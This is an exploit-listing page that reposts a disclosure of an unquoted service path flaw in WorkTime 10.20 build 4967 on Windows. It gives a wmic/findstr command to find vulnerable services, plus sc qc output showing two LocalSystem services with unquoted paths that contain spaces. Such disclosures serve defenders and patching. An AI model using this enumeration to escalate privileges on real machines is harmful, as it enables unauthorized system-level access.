Worktime 10.20 build 4967 unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-01-18 | Type : local | Platform : windows
This exploit / vulnerability Worktime 10.20 build 4967 unquoted service path is for educational purposes only and if it is used you will do on your own risk!


[+] Code ...

# Exploit Title: WorkTime 10.20 Build 4967 - Unquoted Service Path
# Discovery by: Yehia Elghaly
# Date: 30-12-2021
# Vendor Homepage: https://www.worktime.com/
# Software Link: https://www.worktime.com/download/worktime_corporate.exe
# Tested Version: 10.20 Build Build 4967
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 7 x86 - Windows Server 2016 x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

WorkTime Server srvWorkTimeServer
C:\WorkTime\WorkTimeServerService.exe
Auto

WorkTime Reports Scheduler WorkTimeReportsScheduler
C:\Program Files\WorkTimeAdministrator\WorkTimeReportsScheduler.exe
Auto

WorkTime Client Watcher Service WTCWatch
C:\Program Files\wtc\WTCWatch.exe WTCWatch
Auto


C:\Users\psycho>sc qc WorkTimeReportsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WorkTimeReportsScheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\WorkTimeAdministrator\WorkTimeRepo
rtsScheduler.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WorkTime Reports Scheduler
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\psycho>sc qc WTCWatch
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WTCWatch
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files\wtc\WTCWatch.exe WTCWatch
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WorkTime Client Watcher Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem